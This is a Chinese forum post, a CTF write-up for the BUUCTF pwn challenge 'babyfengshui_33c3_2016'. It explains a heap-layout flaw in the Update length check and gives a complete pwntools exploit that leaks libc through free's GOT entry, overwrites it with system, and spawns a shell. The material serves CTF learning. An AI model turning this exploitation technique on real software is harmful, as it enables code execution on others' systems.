吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1661|回复: 2
收起左侧

[CTF] [unsorted_bin逻辑漏洞]babyfengshui_33c3_2016

[复制链接]
bnuzgn 发表于 2023-9-8 17:45
本帖最后由 bnuzgn 于 2023-9-10 14:07 编辑

题目来源

buuctf——babyfengshui_33c3_2016

参考链接

https://blog.csdn.net/mcmuyanga/article/details/112071029

https://niceseven.github.io/post/2020/03/18/buuctf-pwn-babyfengshui_33c3_2016/

题目信息

32位,ubuntu16

   
1截图.png

功能如下:

   
2截图.png

Add功能中没有循环函数,因此所有申请的堆从0开始都会保留序号。

ptr是索引,global_i是全局递增ptr偏移变量

最后直接调用了第四个功能(IDA中我重命名为edit函数了)

   
3截图.png

创建的结构体如下图(参考链接2中图片)所示:
  • 每次Add功能会申请两个heap,第一个heap保存description的内容,第二个保存结构体(固定大小0x80字节)。
  • 结构体数据部分前四个字节保存description堆的地址,后面的0x7c字节保存name的数值。

    4截图.png

Delete功能删除的很干净,连ptr也清理了。

   
5截图.png

Display功能如下

   
6截图.png

问题出在了Update功能中:函数首先让用户输入新的text的长度,但是里面用于判断是否可以进行内容修改的逻辑有问题。

开发的逻辑如下:如果没有对heap进行删除,Add功能正常申请的两个heap是相连的,而description堆的数据起始地址加上用户输入的字段不可以覆盖了结构体的size字段。那么此时就是有问题的。

问题:如果有删除heap的操作,那么Add申请的两个堆有可能是不在一起的,这个时候可以对中间包含的别的heap结构体进行编辑操作。

   
7截图.png

解题思路
  • Partial RELRO说明我们可以修改free系统函数的got表,将其指向system的内存加载地址,只需要泄露libcbase地址即可。
  • 可以通过Update的逻辑漏洞对中间包含的heap的结构体中指向description的地址进行修改,修改为free_got的地址
  • 用Display功能输出free_got指向的free_addr,计算得出libcbase。
  • 用update功能更新中间包含的heap的内容,使得free_got指向system_addr。
  • 删除一个description前8个字节为'/bin/sh\x00'的heap。

关键步骤
  • 了解堆的释放流程:结合libc的版本与操作系统的位数可以得知0x80字节的heap不属于fastbin,也没有Tchache掺和,小于512字节的
  • 动态调试配合编写payload:可利用pwndbg中heapbase功能查看heap内容。

wp
[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*

context.log_level='debug'
context.arch='i386'
context.os = "linux"

pc = "babyfengshui_33c3_2016"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",27553)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

def add(size,name,text):
    sla("Action: ","0")
    sla("size of description: ",str(size))
    sla("name: ",name)
    sla("text length: ",str(len(text)))
    sla("text: ",text)

def delete(index):
    sla("Action: ","1")
    sla("index: ",str(index))

def show(index):
    sla("Action: ","2")
    sla("index: ",str(index))

def edit(index,length,text): 
    sla("Action: ","3")
    sla("index: ",str(index))
    sla("text length: ",str(length))
    sla("text: ",text)

free_got = elf.got['free']

add(0x80,"bnuzgn","aaaa")
add(0x80,"bnuzgn","bbbb")
delete(0)
#db()
add(0x108,"bnuzgn","cccc")
payload = b"/bin/sh\x00" + b'a'*0x100 +p32(0)+p32(0x89) + b'a'*0x80 + p32(0) + p32(0x89) + p32(free_got)
edit(2,0x210,payload)
show(1)

free_addr = u32(r.recvuntil(b'\xf7')[-4:])
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym["system"]
lg('libc_base')
#db()
edit(1,0x4,p32(system_addr))
delete(2)
ti()

免费评分

参与人数 2威望 +1 吾爱币 +21 热心值 +2 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Nettos 发表于 2023-9-8 17:53
发了三个一样的么
 楼主| bnuzgn 发表于 2023-9-8 17:54
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 12:27

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表